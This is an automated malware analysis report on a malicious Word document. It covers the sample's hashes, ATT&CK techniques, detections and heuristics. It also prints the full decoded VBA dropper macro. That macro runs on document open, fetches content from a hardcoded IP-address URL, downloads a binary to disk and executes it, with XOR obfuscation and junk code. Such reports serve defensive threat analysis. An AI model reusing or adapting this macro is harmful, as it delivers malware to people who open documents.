Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8bcb06aa1650e34c…

MALICIOUS

Office (OOXML)

238.9 KB Created: 2018-02-27 14:28:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2019-01-11
MD5: 74bcd4230c67eba5dd5b34d608454bcd SHA-1: fce1560cddf77f732a1ff854a5daa8f92d74fb6a SHA-256: 8bcb06aa1650e34cb63cb6d27d680bf70ad34d15a8e82091b2ec9f9faa65049a
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is an OOXML document containing VBA macros, specifically an AutoOpen macro that uses CreateObject to download and execute a second-stage payload. The VBA script constructs a URL to download a file and then executes it. The ClamAV detection 'Doc.Dropper.Agent-7144197-0' further supports its malicious nature as a dropper.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-7144197-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7144197-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    ohSDLZW = hDylyth
Set qtwaesg = CreateObject(ohSDLZW)
End If
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
Dim lJLywNg  As String
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://104.250.138.198/374d31df29e1e29 In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)
    • http://www.iec.chIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3422 bytes
SHA-256: 5e408ecb6fcac54a06106eff369905d6aab281fcf1fa6d1523770f7035628dbe
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "lSWwUs"
Attribute VB_Base = "0{D5F42357-7F40-40FF-862C-B42E8BBCD927}{91E4AF47-889A-4CE0-B9A9-D59FDEC4B098}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function dXmTZYJ(ByVal hZjBGPq As String)
Dim kbGlmgy As Object, bLiqFFa As Long, fNfzlvI() As Byte
jPBJrmQ = xQbumR.Tag
Set kbGlmgy = qtwaesg(xQbumR.Value)
kbGlmgy.Open "GET", hZjBGPq, False
kbGlmgy.send
Do While kbGlmgy.readyState <> 4
DoEvents
Loop
fNfzlvI = kbGlmgy.responseBody
bLiqFFa = FreeFile
If Dir(jPBJrmQ) <> "" Then Kill jPBJrmQ
Open jPBJrmQ For Binary As #bLiqFFa
Put #bLiqFFa, , fNfzlvI
Close #bLiqFFa
Set kbGlmgy = Nothing
Dim yFvBXFE: Set yFvBXFE = qtwaesg(pvrQRx.Value)
Dim uui As Integer
uui = 87
Dim jlMDQbA As Boolean
Dim nnjLWrJ As String
nnjLWrJ = "jio"
If xQbumR.Tag Like "forec" Then
jlMDQbA = False
Else
nnjLWrJ = jPBJrmQ
uui = 2018
jlMDQbA = True
End If
yFvBXFE.Run nnjLWrJ, Year(Date) - uui, jlMDQbA
End Function

Function uuSizbp(ByVal ywpQgrX As String)
uuSizbp = Application.Run(ywpQgrX)
End Function



Private Sub UserForm_Click()

End Sub

Attribute VB_Name = "oUoYHy"
Public Function wKmolxp(ByRef amjxRox As String, ByRef eoGGxFF As String) As String
Dim vXimQEH() As Byte
Dim yZfUWUP() As Byte
Dim dBBEdLW As Long
Dim geYnjAf As Long
Dim kgvvPrm As Long
Dim aQYbiRo As Long
vXimQEH = StrConv(amjxRox, vbFromUnicode)
yZfUWUP = StrConv(eoGGxFF, vbFromUnicode)
dBBEdLW = UBound(vXimQEH)
geYnjAf = UBound(yZfUWUP)
For kgvvPrm = 0 To dBBEdLW
vXimQEH(kgvvPrm) = vXimQEH(kgvvPrm) Xor yZfUWUP(aQYbiRo)
If aQYbiRo < geYnjAf Then
aQYbiRo = aQYbiRo + 1
Else
aQYbiRo = 0
End If
Next kgvvPrm
wKmolxp = StrConv(vXimQEH, vbUnicode)
End Function

Sub RemovePicture()

End Sub
Sub LoadText(ByRef Text As String)

End Sub

Public Function qtwaesg(hDylyth As String) As Object
Set qtwaesg = Nothing
Dim ohSDLZW As String
ohSDLZW = "visual"
If Year(Now) = 2018 Then
ohSDLZW = hDylyth
Set qtwaesg = CreateObject(ohSDLZW)
End If
End Function

Sub AutoOpen()
Dim lJLywNg  As String
lJLywNg = lSWwUs.pvrQRx
Dim sNfQItV As String
RemovePicture
Dim s As Integer
s = 0
For Each secDoc In ActiveDocument.Sections
secDoc.Range.Font.Hidden = False
Next secDoc
Selection.GoTo(wdGoToPage, wdGoToAbsolute, 1).Bookmarks("\Page").Range.Delete
ActiveDocument.Background.Fill.ForeColor.RGB = RGB(255, 255, 255)
If Len(Application.UserName) < 100 Then
Dim sVLrM75p1uAHTgR As String
End If
Dim wPBzOkd As Integer
For zrYIuZl = 2 To 27
wPBzOkd = zrYIuZl
Next zrYIuZl
Dim bHrpGWk, gjoxmNs As String
bHrpGWk = 2
gjoxmNs = 2
#If bHrpGWk > gjoxmNs Then
Dim laFnEzz As Object
#Else
Dim laFnEzz As Integer
laFnEzz = 2 + 2
Dim kOBLJGR As Integer
For nqYUpWY = kOBLJGR To bHrpGWk

Next nqYUpWY
#End If
Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1")
objHTTP.Open "GET", lSWwUs.pvrQRx.Tag, False
objHTTP.send ("")
sNfQItV = objHTTP.responseText

lSWwUs.dXmTZYJ (sNfQItV)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 21504 bytes
SHA-256: 2a337df5fcebf2a7cfbe3a8876a2b90231185c56f5e7ceef5a935c96583594f6

Open this report in the interactive analyzer, or submit your own file for analysis.